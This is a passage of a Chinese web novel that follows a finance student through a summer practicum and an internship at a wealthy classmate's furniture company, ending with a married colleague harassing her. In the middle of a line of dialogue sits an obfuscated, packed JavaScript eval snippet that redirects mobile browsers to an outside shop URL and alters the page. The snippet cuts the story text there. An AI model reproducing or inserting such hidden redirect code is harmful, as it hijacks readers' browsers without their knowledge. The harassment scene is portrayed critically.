俞惟叙:【有点印象,小学的时候好像去过】 俞惟叙:【今年没怎么出去玩吗?】 祝岁祯:【对啊,要学习~】 俞惟叙:【很好,继续保持】 祝岁祯把链接发给他,俞惟叙说有时间会看看,给梦梦点赞。 五月初,学院发了暑期社会实践的通知,让学生们自行组队,这个月就要把组队情况,以及包括实践方案在内的立项申报表交上去。 祝岁祯宿舍分成了两派。 一派是小羊、梦梦,纯人民币玩家,准备借着社会实践之名,行旅游享受之实。 她们不在乎能不能评优秀团队,也不在乎费用报不报销。实际上就算能报销,也是有限额的,那点儿钱还不够她们住一晚酒店。 另一派就是祝岁祯和远文了,她俩的理念就是能不花钱、就不花钱,最好把花销控制在报销额度附近。 这样的话,她们宿舍肯定要拆开了。学校要求六至十人组队,远文找到了箫剑和鸡哥,让他们帮忙再拉两个人来。 小羊、梦梦叫上大黄,还有几个条件不错的同学,组成了个七人小队,迅速定下了实践内容:去牛津和剑桥进行金融学科的研学。 他们队效率奇高,一天就搞定了申报表,然后七个人开始弄签证。祝岁祯宿舍变得十分热闹,小羊她们队有两个其他学院的女生,经常过来串门,一起商量签证材料和机酒路线的事。 最后她们发现牛津不好进,要么提前预约,要么让学院学生帮忙带人进去。只能求助俞惟叙。 俞惟叙答应得很爽快,还找了几个学院的同学帮忙,全都搞定了他才知道祝岁祯不去。 祝岁祯哪里去得起哦……俞惟叙私聊她,祝岁祯只能告诉他自己和远文另组了一队,人刚刚凑齐,要干什么都还没有头绪。 快到提交材料的日期,祝岁祯队里大家都开始着急了,纷纷出去问别的队都干什么,作为参考。 3班一个队蛮有实力,联系到某知名企业,结合金融学院优势学科专业,深入企业进行调研。 为什么说有实力呢,这种知名企业可不是你想去调研就能去的,得有人脉。他们队的人脉就是学院里一位资深教授,担任这家企业的独立董事。 祝岁祯和队友们听鸡哥说完,顿觉挫败。 他们这群虾兵蟹将就是因为没钱、没人脉,才抱团在一起。难道只能去“三下乡”了?这个好像学院能给帮忙联系。但据去过的学姐学长们说:很不推荐。 晚上散会,祝岁祯出了教学楼,突然想起来俞惟叙。 这少爷家里不是有公司吗?直接找他不就完事了!去参观参观、摆拍几张照片、拿到些内部资料写点调研报告,这不就能搞定了么~ 而且他家公司在北京就有办公室和厂子,家具嘛,肯定也有销售门店了,连北京市都不用出,花销直接降为地铁公交费。报销什么的也不需要,大家完全可以负担得起。 看了眼时间,英国那边是下午,不知道俞惟叙忙不忙。 不管了,先发消息过去问问。 祝岁祯:【暑期社会实践……求助……能去你家的公司调研不?】 祝岁祯晃晃悠悠地往足球场走,里面人还不少,踢球的、夜跑的,让她这个一直在室内宅着的人突然感受到活力。 刚经过足球场门口,手机震了一下。 俞惟叙:【视频?】 祝岁祯赶紧打了过去。 屏幕上,镜头对着浮雕穹顶一晃一晃,俞惟叙正从一个什么建筑里面往外走。他推开一扇高大的玻璃推拉门,刺眼的天光从屏幕那端照射过来。 “好了,我刚才在图书馆。”他沿着图书馆外墙往没人的地方走,到一个墙根下。 “怎么了,暑期社会实践要去我家公司?具体是做什么啊?” 祝岁祯在操场跑道边上一边慢悠悠地走,一边告诉他自己的想法。她看过往届队伍去企业调研的立项书,大概就是去参观参观、要点资料写写报告这样。 “哦,把你们当领导来视察就成了,好说,我能安排,吃饭住宿都给你们包了,怎么样?” 祝岁祯惊喜地问:“哇!真的吗!呃,住宿不用了吧,反正在北京,我们住宿舍就可以了。” “都行,看你们想去哪儿,上海和广东也能安排,去外地就给你们订酒店,公司有协议价不用你们花钱。” 他想了下:“不过,公司可能会想拿你们当宣传例子,发个小新闻之类的,你们配合着拍点参观照片就行。” 祝岁祯哪里还能不答应:“必须配合!太感谢了!哇,突然觉得自己也是有人脉的人了哈哈哈哈……” 俞惟叙看她乐成那样,不知不觉也翘起嘴角:“这算什么,回头你要是不嫌弃,想来实习工作也行。” 祝岁祯眼睛亮闪闪的:“真的吗?真的可以安排实习吗?话说我超想实习来着,但是大一没经验,感觉很多地方都不会要……” 俞惟叙笑道:“这有什么难的?我好歹也是……对吧?还能有我安排不了的?甭说我家了,你要是对别的公司有兴趣,保不齐我也能把你弄进去。” 祝岁祯开心地快要扭成麻花:“哇,俞惟叙,你突然变得好帅啊!” 俞惟叙不笑了:“什么意思?我以前不帅吗?” 祝岁祯还是没心没肺地兴奋着:“你以前是那种,表面的、肤浅的那种帅。现在,你的内涵也超帅的!比你本人的外表还帅!就很有霸道总裁的范儿!” 俞惟叙嘴角一点点扬起,听她在手机那端胡言乱语,装作嫌弃地皱了皱鼻子:“还是很别扭。这样吧,叫声哥来听听。” 祝岁祯:“啊?” 俞惟叙挑了挑眉:“叫哥。社会实践和实习,这两样事儿都给你办了。” 26. 第二十六章 祝岁祯愣住,没想到他提了这么个要求。 屏幕里帅气的男生,眼中带着毫不掩饰的坏心思,就等她说出那个字。 祝岁祯有一瞬间跑神儿,她想起来男生真的好像很喜欢被别人叫哥啊……之前还有同学让好哥们儿管他叫爸爸。 祝岁祯心里无语,可现在整队人的暑期实践就靠俞惟叙了。 祝岁祯咬了咬牙,算了!不就是叫哥么!又不会少块肉! “俞哥!惟哥!叙哥!俞惟叙大哥!求求你了~帮帮忙吧~”她忍气吞声地说了一大串,完全一副老实人豁出去了的样子。 俞惟叙强装镇定地听爽了,对着屏幕里的女孩说:“你给哥等着,明天有人来联系你。” 第二天上午,观鱼的一位姓赵的秘书加了祝岁祯好友,跟她对接了所有需求后去办理各项事宜,这事终于定了下来。 她立刻跟队友们宣布了这个好消息。 鉴于祝岁祯的突出贡献,这次社会实践的所有文件资料都不需要她写,全由其他队友代劳。祝岁祯得以一门心思地投入复习大业之中。 六月末,所有考试结束,小羊和梦梦的队伍在七月初迅速飞往伦敦。 小羊她们原本想开学前去做这个实践,做完就可以直飞北京返校。但和俞惟叙商量了之后,发现时间凑不上。 虽然俞惟叙学校已经放了半个月假,但他还跟着新导师做课题,在学校待到七月下旬就要去巴黎以及一些别的地方,直到开学才回牛津。 这样的话,小羊和梦梦就得趁着俞惟叙在校的时候去英国,而且还得挑他有空的时间去牛津大学玩,所以就只能一放假立刻动身。 祝岁祯这队也在七月初开始了社会实践,观鱼专门派了两辆商务奔驰来接送他们,在宿舍楼下集合上车的时候队友们都惊呆了,直呼鱼仔太周到。 两辆车开去朝阳区的观鱼总部。奔驰停在一个看起来高端上档次的写字楼前,跟祝岁祯对接的赵秘书带着一个男员工,穿着正式的西装站在宽大的旋转门前,笑容可掬地迎接他们。 这么隆重的吗?几个同学都有些受宠若惊。本来大家想的是随便逛逛拍拍照…… 实践小队进入一尘不染的写字楼,里面是挑空极高的大堂,地面白色大理石地砖上排列着如水墨画般的灰色纹路,头顶方方正正的天花板吊着数个华丽的巨大水晶灯。 大堂中央的圆形桌子上放置一人环抱粗的玻璃花瓶,精心搭配的橙黄色系鲜花繁复却不杂乱,像一棵花树开在这里。大门对面是整栋写字楼的前台,有四个人值班。前台两边是电梯区,设有闸机门禁。 赵秘书给他们六个人发了访客门禁卡,他们刷卡进了电梯。 在电梯里,赵秘书说这栋写字楼共18层,其中13-18层是观鱼的办公区。观鱼之前在西城区的金融街,但后来发展得好,但却没有可以扩展的办公区域了,才搬到这里。 到了13层,电梯打开,对面玻璃门内还有个前台。这应该是观鱼自己的前台,楼下那是整个大楼的。 这一层包括了观鱼公司的展示大厅和员工的休闲娱乐区。 展示大厅用影音资料介绍观鱼公司的历史沿革,还摆放了许多历年来的人气产品,每个前面都放了说明板,像个私家博物馆。 休闲娱乐区有小健身房、台球馆、乒乓球馆和瑜伽室,定期会请外面的教练来给大家上课作为员工福利。 赵秘书告诉他们,小健身房原本是奶咖区,后来因为外面奶茶咖啡店越来越多,公司内部就没必要再搞了。 后来俞惟叙做了调查,发现大家开始关注健康,而且他本人也常健身,所以跟关总提了建议把这里改成健身区,收到很多好评。 14、15层是销售部,祝岁祯本来以为这两层会跟客服打电话似的乱糟糟,但实际非常安静。 赵秘书说这里是负责营销、促销的,客服外包给专业公司团队在做。总部的销售更多做的是市场分析和预测,以及各区域、省市的销售管理等工作。 16层是设计师层,观鱼所有的设计师和工程师的办公地点在这里。六个人转了一圈,感觉这一层好像艺术馆,里面放着各种各样新奇的工艺品和画作,每间办公室都像艺术家的工作室。 17层是职能层,包括了财务、审计、人力、信息化、档案室等等。18层不能去了,那里是高管以及关总的办公室,俞惟叙在那里也有一间。 观鱼总部福利也不错,每一层都有茶水间,不便宜的小零食、茶包、咖啡等等供应齐全,咖啡机、微波炉、冰箱、净水机等各种电器也应有尽有。据说下午三点后每层楼还供应时令水果……上班比他们在学校舒服多了。 赵秘书说,公司还有很多工资之外的其他福利,比如写字楼地下一层是食堂,员工每月有一千五餐补打在门禁卡里,可以去刷卡吃饭以及在食堂小超市买各种东西。逢年过节有过节费、生日有蛋糕卡、租房有补贴、交通有地铁卡、电影书籍也有折扣和报销…… 说得六个人现在就想毕业来上班了。 关于公司规模,总部这里只是一小部分人。朝阳区南边靠近大兴区有个小工厂,那边也有观鱼的员工在,这个小工厂是明天要参观的地方。 此外上海有个子公司,负责观鱼的进出口业务和日本子公司的业务,广东有个总工厂。全国各省会都有观鱼的经销办公室,再加上门店销售…… 大家这才意识到鱼仔家的公司有多大,今天参观的总部只是相当于一个人的大脑和心脏罢了。 下午大奔把他们送回学校,祝岁祯和远文先补了个觉,晚上吃完饭之后大家在小群里上传拍摄的照片,商量报告怎么写。 祝岁祯不用写,她闲着没事找俞惟叙聊天。 祝岁祯:【我今天在你们设计师那层,看到好多稀奇古怪的玩意儿。】 然后她发了张图片过去。 这是她在公共区看到的一个作品,木头做的一个手掌,关节非常灵活,旁边一个字条写着:【转动旋钮】 她好奇地转了一下,那只木头手的四根手指缓慢攥成拳,最后留了个中指对着他们,仿佛在挑衅找茬。 当时几个人全都爆笑。 祝岁祯:【这个最好笑,居然给我们比了个中指,好想揍它啊!】 俞惟叙:【你要说别的,我可能不知道,但这个,巧了,是我参与设计的】 祝岁祯:【……】 俞惟叙:【我高一的时候闲着没事干,跟一个设计师哥关系好,一起设计了这个东西】 俞惟叙:【成品出来以后,我作死让我妈来看,那中指比出来的时候我妈脸都绿了,直接踹我一脚……】 祝岁祯:【哈哈哈笑死我了你活该哈哈哈哈哈哈】 俞惟叙:【这不算什么,我小时候可皮了,简直是魔丸】 第二天,他们去参观北京工厂。 说是小工厂,其实占地面积也蛮大的。进入工厂的检查超级严格,身份信息核对了半天,还做了证件登记。 原先这个工厂是负责生产超轻户外折叠桌椅的,也就是观鱼起家的明星产品。后来公司转型做中高端办公桌椅和家具,厂房选址在了广东,这里的小厂房就不再用来批量生产。 设计师们每季度都要产出新作品,这个工厂负责和他们反复磋商,制作出来N版样品,进行各种评估测试等等,确定各方面都没有问题,才会把数据资料发到广东量产。 这也就是为什么他们进来时那么费劲,这个工厂里有不少正在开发的新产品,是观鱼的机密。 回到宿舍,远文他们晚上直接把整篇报告赶出来了。祝岁祯大概看了一眼,直呼好家伙。 明明只去了两天,但他们把各部门拆开,直接写了七天的内容,有鼻子有眼的。反正也不评优秀团队,有东西往上交就行了,赶紧放假回家才是正事。 晚上她洗漱完,正和远文坐一起看综艺哈哈大笑的时候,小羊打来视频电话。 因为要先凑俞惟叙的时间,她们一行人下了飞机直奔牛津,俞惟叙带着他们去他所在的学院参观。 今天牛津是少有的晴朗日子,万里无云。小羊和梦梦知道留守的俩舍友都很羡慕她们,便打来视频和她俩分享美景。 祝岁祯和远文贪婪地看着手机,想象自己也在这所、有九百多年历史的世界名校里漫步。 随着镜头的转动,她们看到了大黄,还有之前来过宿舍的两个女生。另外两个男生不太熟,但印象中也是本院的。 最后出现的是俞惟叙,他穿了一件宽大的黑白格子衫,对着镜头微笑招手,帅气得像古堡里的王子。 一饱眼福之后,祝岁祯不舍地关了视频,从童话世界回到现实。第二天收拾好桌子床铺,拉着行李箱,和远文分别坐上回家的列车。 祝岁祯刚到家,爸妈就说何希麓吃饭的时候要来。 这小子今年超常发挥了,据说分数上个985没什么问题,祝岁祯刚考完期末的时候爸妈告诉她的,还让她抽空给小何讲讲填报志愿的经验。 祝岁祯去年压线上了M大的金融,属于是一分都没浪费,考得好、报得也好。去年M大在源省金融大类专业的最低分,就是祝岁祯贡献出来的。 所以在期末考完、去观鱼之前,祝岁祯临时给何希麓传授了她去年的报考心法。 在高校没有大规模扩招、缩招的情况下,先看你的全省排名,然后用这个全省排名去看近三年对应什么分数、在那个分数的人都去了什么学校,这些学校就大概是你今年能去的。 祝岁祯因为刚考完有些事要处理,然后还得去暑期实践,没关注何希麓后续报了什么志愿。但他吃晚饭聊天,左一句北京、右一句海淀,祝岁祯这心里就有点犯嘀咕。 咱华夏大地上,好学校那么多,你可别就盯着北京报啊! 在家舒服了半个多月,何希簏突然跑来她家,开心地亮出了官网查询结果,何希簏成了她的直系学弟…… 祝岁祯两眼一黑。 何希簏笑容淡去,小心翼翼地问:“祯祯姐,怎么了?” 祝岁祯能说什么呢?她打起精神:“呃……你的成绩,能去更好的学校呢,有点儿替你觉得亏。” 大大的笑容又出现在他脸上:“没事的祯姐,据说今年M大金融大类,在各省的分数线突然高了好多,我能被录上也不算亏。” 这屋子里四个人,除了她,都喜气洋洋。 要说何希簏这小弟,人也算不错。热情有礼,长得不赖。但因为爸妈的嘱托,搞得祝岁祯跟他接触时压力有些大,说话办事都得拿捏着度。 不能给人脸色看,也不能怠慢了人家的请求,还不能表现得太谄媚…… 祝岁祯感觉自己不是多了个学弟,而是在学校多了个领导。 为了转移他的注意力,祝岁祯多次强调,一定要在通知书发下来的时候赶快加新生群,和导员同学们早点认识,了解学院的各项政策。 但何希簏居然一句话就给她怼回来了:“没关系,有什么问题我可以找祯祯姐~” 祝岁祯一口老血喷出来。 然后他用像小狗的眼神看着她,说想看看M大的录取通知书长什么样。 祝岁祯只好去给他拿。 何希簏看通知书的时候,祝岁祯瞄了眼手机。 现在是上班时间,于是祝岁祯迅速联系了观鱼的秘书,告诉她自己在家闲着没事干,想提前去实习。 秘书姐姐说没问题,马上给她安排。下午下班前,告诉她最早下周一就可以来了,去财务部实习。 祝岁祯赶紧看车票,定下了后天走,在宿舍舒舒服服待两天,周一去上班。 爸妈非常不理解,原本定了八月初去实习,干什么就非得提前几天?人家那么大个公司,又不是离了她这小实习生就不转了。 祝岁祯随便糊弄几句,说开学前有事,想凑够一整个月的实习,这样能开个实习证明,以后再找实习、找工作就有些帮助。 刚把爸妈安抚下来,俞惟叙的视频电话来了。 今天他穿了一件蓝绿色的运动短袖,少了些优雅沉稳,多了些青春活力。祝岁祯从来没见过他穿这么鲜亮的衣服,但她没多想。 俞惟叙站在一个很空旷的地方给她打视频:“我听秘书说,你要提前去实习?现在多热啊,你其实不去也行,想要多久的证明,直接让她给你开。” 祝岁祯背靠着床头,有些慵懒:“也不是只要实习证明,还想去学学实务操作。总是听到人家说学校学的、和实际工作有差别。还有些为人处事、待人接物方面,想借着这次机会去体验一下。” 俞惟叙无奈地笑笑:“哎呀,你啊。那我还让司机接送你吧,你晚点去、早点下班…… ” 祝岁祯噌的一下坐直:“不用不用!我是去实习的,又不是去干什么,别搞得这么特殊。你不用管我啦,忙你的就行。其他实习生什么待遇,就给我什么待遇。” “行行行,你有什么要求就跟秘书说。” 祝岁祯满意地点点头。“你现在还忙课题吗?” 俞惟叙不怎么高兴:“哼,忘了?我现在在巴黎。” 祝岁祯猛地反应过来:“噢!对哦,你七月下旬去巴黎!哎呀呀我这脑子。那你是去旅游度假?” 俞惟叙神秘地摇摇头:“非也。”他说完,高高地举起手机,把四周的景象环绕着拍给她。 祝岁祯不解地看着屏幕:“这是……什么场馆吗?好高的看台啊。” “奥运会的马术比赛场地,在凡尔赛宫。” 祝岁祯倒吸一口气:“啊!奥运会!哇,你去现场看比赛啊!这两年乒乓球特别火,我有时候会看看网上的小片段。之前我根本不关注奥运会的。” 俞惟叙看了看远处,又看向屏幕,像憋着笑似的:“确实能在现场看比赛,但我说了你可能不信,我是志愿者。” 祝岁祯今晚真是吃了一惊又一惊,她好不容易合拢了讶异的嘴巴:“你?!去当志愿者???” 他调整了一下手机的位置,揪起前胸衣服,给她展示上面的标志:“看到了吗?五环。” 他走了两步,弯腰拿起一个志愿者证件,证件挂脖子用的带子上装了七八个胸针:“这个,pin,我跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313100|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的国家志愿者互相换的。” 拿近手机,俞惟叙看着屏幕:“怎么了,不相信吗?还是说,觉得我去当志愿者很掉价儿吗?” 祝岁祯感觉俞惟叙真是,不断在刷新她对这个世界的认知:“不是,完全不。我根本都想不到奥运会有志愿者这回事。从来没思考过这种盛会是怎么组织起来的。” 她开始分析:“应该会有世界各国的观众来看吧?选手和他们的教练什么的,也是各国都有,那么,对志愿者的要求肯定很高!不是谁想来就能来的。” 俞惟叙没料到她的思维居然发散到这里:“嗯……还行吧,没有很高,报名的基本都是学生,留学生居多。主要是对语言有要求,去年我申请的时候官网说英语、法语至少得会一项。 “但过来发现英语是最最基本的,然后法语最好要会。其他语言多多益善。志愿者种类很多,还有的需要懂医学、有驾照。” 祝岁祯羡慕道:“你还会法语啊。” 他淡定地回:“中学的时候,法语是必修。然后还有些选修语言课,每年都要选一门。什么西语、日语之类的。” 祝岁祯想起开学时,俞惟叙说他在英国上私校的事。这钱是真没白花。 俞惟叙那边要开始新一轮的志愿者培训,他不能再聊了。挂了电话,祝岁祯怅然若失。 真好,有钱、有能力的人先享受世界。哪怕是有些辛苦的志愿服务,祝岁祯都无比向往。 她突然觉得自己早些去实习的决定非常对,甚至其实没必要回来。既然俞惟叙有这么大的权力能帮忙,她最好整个暑假都在观鱼实习。既能学到东西、还能拿到一笔可观的实习工资。 何希簏知道她要提前走,整个人蔫儿巴巴的,说录取通知书马上就到了,还没让祯祯姐看一眼。祝岁祯敷衍道你到时候发个朋友圈,我一样能看见。 回到学校,和宿管打了招呼,她在宿舍终于可以清净下来了。没有人大清早地把她吵醒让她起来吃早饭,也没人需要她小心应付。 她上网搜了下财务部实习一般都干什么,然后简单学了点财务的知识,周一上岗。 这次是财务部一位姓罗的姐姐在楼下等她,带她在前台办了个一次性的门禁卡。 “这是访客门禁卡,一会儿咱们去17层信息化,给你办正儿八经的实习生门禁。” 不过实习生门禁卡的权限不高,吃饭需要正式员工带去食堂登记,虽然麻烦些但不用花钱了。 她先去人力部填了个人信息表,录入系统后人力小姐姐签字。 再拿着这张表去信息化部,IT小哥在一个小机器上设置好门禁卡,祝岁祯接过来戴上。 哦吼~开心! 然后小哥又在电脑上噼里啪啦敲了一会儿,打印出来一张纸,上面写着她的各种内部软件、系统的账号和密码,让她保存好不要弄丢,实习结束时要签字拿来注销账号。 都弄完之后,罗姐带她去财务部,她实习的主战场。 祝岁祯以为,财务部像人力部和信息化部一样人不多,毕竟是职能部门。但进去后发现财务部的办公室很大,里面加上她俩得有小二十个人了。 办公室最里面有个小屋子,罗姐说那是财务总监的办公室,然后就带着她去见大领导。 她有点紧张地跟着罗姐进小办公室,罗姐给领导介绍了一下祝岁祯,连总站起来,和她握了个手。这是个中年男人,戴眼镜,不胖不瘦,给人第一印象就是非常严谨的工作狂。 连总让她俩坐在沙发上,寒暄了几句,表示自己听说了她是俞惟叙的同班同学。 然后介绍罗姐是她的带教老师,在观鱼已经有十年了,经验非常丰富,不管是工作上、还是在公司的日常生活上,有任何问题都可以请教罗姐。 最后,罗姐带着她去了在门口的工位,这工位比她在宿舍的桌子大多了,是L型的,配备了电脑、电话、笔筒和文件书架。与桌子相连的是一个三层的落地抽屉柜、和一个半人高的长铁皮柜,都可以存放一些私人物品。 她坐在人体工学椅上,开心地偷偷转圈圈。 刚来的这上午,罗姐没给她分配什么任务,让她在公司系统里阅读实习生和财务部相关制度,对以后的工作和流程有个了解。 周一早上财务部挺忙的,她一边看制度,一边默默观察。半小时后她开始觉得有点无聊了,想去要些活儿干干,但不敢打扰别人。 只能去骚扰舍友们了哦吼吼吼。 她拍了一张自己工位、又拍了一张办公室照片,检查一下照片里没有清晰的人脸以及什么业务信息之后,祝岁祯发在【暴富美丽狂吃不胖】群。 祝岁祯:【报告长官!4号士兵已潜入观鱼内部,请指示!】 周远文:【这就是财务部啊?不错不错,上次咱们只在走廊外溜达一圈】 赵楚洋:【4号士兵!拿到鱼仔家的财务数据,我要看看他家能挣多少钱,over!】 祝岁祯:【报告小羊长官!实习生没有权限,无法查看财务系统,over!】 赵楚洋:【Oh,shit!】 周梦津:【Shit!韩国也太热了】 祝岁祯:【哈哈哈看到你朋友圈了,忙得跟大明星似的,从伦敦落地首尔,直接奔赴演唱会啊你】 周梦津:【纠正一下,不是演唱会,是歌谣大战~几十个团体上台】 赵楚洋:【对我们来说没什么区别,亲故呀】 周梦津:【肯恰那。晚两天还有个水弹音乐节,我今年夏天要在韩国扎根了……】 周远文:【那你现在在干嘛?逛街购物?】 周梦津:【是滴。话说我今天在买手店看到了俞惟叙那件格子衫哈哈哈,上次视频你和祯祯应该也见过。但是这会儿手里拎太多拿不了,明天我来把它买下!】 赵楚洋:【三原康裕那件?韩国卖多少钱?】 周梦津:【好像四千多吧,没找到专卖店,只在买手店有。我朋友说好多爱豆穿这个日本潮牌,俞惟叙还挺有眼光】 赵楚洋:【感觉他只有出国了才有穿衣自由,在国内就得天天穿他妈妈的配货。我看他每次穿的都不重样,全是马、雕、驴什么的,有的看起来丑丑的哈哈哈,也就他那张脸能扛得住】 祝岁祯:【还有他之前说,家里的家具餐具灯具什么的,也都是配货】 周梦津:【没错,真富贵啊,几十万几十万的配啊……我爸什么时候能出息点,看看人家看看他!哎呀不说了,我去吃饭】 周远文:【现在就吃饭吗?】 周梦津:【韩国比国内早一个小时,现在差不多是饭点儿了。而且我早上木有吃饭饭……】 大家陆续下线,祝岁祯又开始变得无聊了。翻了翻朋友圈,看到何希簏半小时前发了一条。 【正式成为邻居家姐姐的直系学弟】 配了两张图,第一张是他的录取通知书,第二张……居然是祝岁祯的通知书! 这小子!什么时候偷拍的! 祝岁祯装作没看见,赶快退出朋友圈,生怕何希簏又顺着网线来找她聊天。 27. 第二十七章 罗姐从卫生间回来时路过门口,祝岁祯叫住她,主动问有什么简单的活儿能派给她,跑腿也行。 罗姐想了想,把部门里一个年轻女孩叫过来,让她把部门收发快递的工作交给祝岁祯。 两人交接工作的时候,互相了解了一下。 这女生叫柳永亭,本科毕业于南方某知名财经211院校,研究生考来北京读审计,在观鱼实习之后直接留用了。 祝岁祯问她为什么学的审计,却要来干财务。柳永亭神色痛苦地说:“经历过事务所年审的我,发誓再干审计我就是狗。” 祝岁祯不敢笑得太大声,她还没经历过,只觉得过于夸张了。然后跟柳永亭讲,自己其实有去事务所实习的计划。 柳永亭说短期的倒是可以,做好心理准备就行。熬夜加班肯定没跑了,还得能抗压,年审时候很容易挨骂。 俩人加了好友,祝岁祯盘算着要是进不去理想的事务所,让这位姐姐帮忙内推一下。人家之前在北京的外资四大实习,是会计师事务所的天花板。 柳永亭交代完,祝岁祯就开始干活了。 她负责每天定时去行政办公室拿财务部的快递,同时把要寄出的一并送去,有快递员统一收走。 这个工作很简单,稍微细心点就行了,小学生都能做。但因为要跟很多同事打交道,她实习的第一天,就在各种惊艳的目光和对她颜值的夸赞中,不好意思地度过了。 第二天,罗姐手头没什么特别着急的活儿了,就带着祝岁祯教她装订凭证。 观鱼这些年的凭证都是攒到一起,等有实习生来的时候,一股脑儿地扔给实习生。所以她要装订将近半年的量。 不过这个工作也不累,就是重复性劳动,同样要细心,手不能太笨,否则凭证本子会订得很丑。 罗姐特别嘱托她:这个工作不着急,但是一定要保证已经订好的凭证准确无误,不然回头拆了重新装那可费大劲了,可能得连拆好多本。 祝岁祯信心满满地接下了这个任务。 等到订凭证的工作做得顺手,罗姐检查过没什么问题了,又有同事开始教她收报销的单据。 这个活儿就上了点难度。首先是各类报销单据有自己的格式,很多送来的单子都不符合要求,得打回去重新做。 本来别的部门都很烦报销,他们觉得差不多得了,但财务总“挑刺儿”。所以这是个考验眼力耐心、沟通能力的一个工作。 但自从这个工作交给祝岁祯之后,形势突然变得不一样。 来财务部报销的男同事变多了,以前因为单据不合格而吵的架也没了。祝岁祯抱歉地跟他们说需要改的时候,大家都和颜悦色、好商好量的,堪称财务部有史以来的奇观。 还有同事来报销的时候给她带零食,祝岁祯几乎每天都被投喂,感叹观鱼的员工真是太善良了,工作氛围好和谐! 因为财务部最近简直是门庭若市,罗姐就稍微留意了一下。 她有次甚至还见到一个以前报销从来没出过错的同事,在祝岁祯工位旁虚心请教出租车发票怎么贴。而祝岁祯本人毫不知情,相当敬业、细致入微地一点点讲解。 财务部的老员工们见到这些场景,都心照不宣地笑而不语,私下密聊:这果然是个看脸的世界…… 但祝岁祯浑然不觉,只是每每想起俞惟叙,感叹他也是个乐于助人的好同学。果然上梁正、下梁直,有什么样的领导就有什么样的员工和公司文化。 虽然还没见过大名鼎鼎的关总,但想必也是个待人和善的企业家。 可是很快,祝岁祯开始难受了。 销售部有个男的把单据都拆开,一次报一张,每半天来找她一次,明明都是可以合并报销的…… 这人叫蔡斤,每次来都要坐在她旁边聊好久。祝岁祯一个学生,而且还是托了俞惟叙关系来实习的,心里再烦也不好赶人走,只能陪着瞎聊。 这人还说他业务做得很好、每年挣很多钱之类的。祝岁祯单纯地猜测他可能是“公司销冠”,给观鱼创造了很多业绩,就更不敢惹了。 可是他慢慢地,就开始往私人问题上打听。什么交过的男朋友啊、家庭情况啊、喜欢什么衣服首饰护肤品啊……甚至中午还跟着她一起去食堂。 罗姐吃饭时看不下去了,偶尔插话进来提及蔡斤的老婆孩子,想让他收敛着点,毕竟公司这么多人看着呢。 但蔡斤根本不在乎似的,话里话外瞧不起职能部门,还撺掇祝岁祯换去销售部实习。 罗姐属于八面玲珑型,在公司谁也不得罪。她琢磨着祝岁祯有公司太子爷撑腰,而且也不一定能待几天,犯不着她一个打工人去操心,省得给自己惹了麻烦还不落好,后来也就不多嘴了。 这可就苦了祝岁祯,她小心地应付着蔡斤、看着罗姐的脸色,猜想蔡斤能这么随性,恐怕也是个关系户不好得罪。 这要是放两三年前,祝岁祯直接就甩脸色了。可她现在是个成年人,在大城市里没什么背景,又不好意思给远在巴黎的俞惟叙添麻烦。 要想拿到实习证明,多少得吃点苦、受点罪,世上没免费的午餐,她懂得。 不就是一个月么,熬过去就好了,再也不会跟这人有什么交集。 忍着烦躁好声好气地应付蔡斤,吃完饭,她回到工位上看会儿从图书馆借的书。下午一点同事们要午休了,她起身到门口关闭办公室的灯光。 谁知她刚要关门,蔡斤就出现在门口,笑着对她招招手,示意她出来。 祝岁祯回头看了眼昏暗的办公室,大家好像都已经休息了,没人注意到门口。 这时她放在工位桌子的手机亮了,可能是有人给她发消息。她犹豫了一下,决定先把蔡斤打发走。 轻轻关上办公室的门,跟着蔡斤到走廊上,祝岁祯不解地问:“怎么了蔡哥?” 蔡斤仍旧满脸堆笑,回过头又对她勾勾手,示意她去楼梯间说话。 财务部在走廊尽头,消防楼梯间就在旁边。蔡斤进去后帮她扶着厚重的铁门,祝岁祯道了谢,跟着他进去。 楼梯间没有空调,虽然在楼内,但大中午的还是有些闷热。祝岁祯进来时皱了皱眉,不懂他到底有什么事非得这时候在这里说。 蔡斤嘿嘿笑着,问她:“刚才给你发消息怎么不回我?” 祝岁祯想了一下:“哦,我刚才在看书,可能没看见手机消息。” 怕他误会,祝岁祯还解释道:“其实我午休前会看看手机的,只是刚好您来了。” 蔡斤“呵呵”笑道:“没事,小祯祯,你有护照吗?” 祝岁祯努力忽略他油腻的称呼,面上不显,简单回他:“没有。” 蔡斤已经料到了:“你这两天抽空去办一个吧。” “啊?为什么?” 蔡斤笑得有点诡异:“你不是说你没出过国吗?我寻思着,那不行啊!现在的小姑娘都喜欢出去玩玩、看看世界。 “你听哥给你安排啊,哥都想好了。你这么着:先去办护照,几天就下来了。然后,赶紧办签证,这证件钱哥给你掏。你也别实习到月底了,开学前一个星期,哥带你去日本冲绳玩,怎么样?” 祝岁祯眉头皱起:“啊?” 蔡斤拿手指头勾了一下她鼻尖:“瞧你,高兴傻了吧!” 祝岁祯已经没功夫考虑他动手碰自己脸这回事,再次确认:“我,跟你?单独去?” 蔡斤压低了声音:“当然咱俩去了!你别担心花钱,一路上所有的花销,哥哥都给你出了。” 见祝岁祯的表情变得严肃,蔡斤语速加快,声音近似诱哄:“你见过冲绳吗?乖乖,那可漂亮了,海瓦蓝瓦蓝的一眼能看到底,漂亮小姑娘都喜欢穿个比基尼啊、小裙子啊,在海边拍拍照。” 祝岁祯的眼神冷了下来。 蔡斤继续加码:“玩够了,咱们去免税店,你喜欢lv的包吗?哥给你买。小几万块钱那都不算事儿!这么漂亮的大学生,没个lv包怎么行?背着出去让你们小姐妹羡慕羡慕……” 祝岁祯听不下去了,摇了摇头:“你跟你老婆孩子去吧,大热天的我没兴趣。”一边说着,一边要拉开防火门。 下一秒,她的胳膊被汗津津的手握住,本来就热的楼梯间,更让人烦得心焦。 “哎哎哎,别走啊。那你想去哪儿?哥还有好几天年假没休呢,你想去哪儿,哥都带你去好吧?越南的富国岛怎么样,也是很漂亮的海岛!” 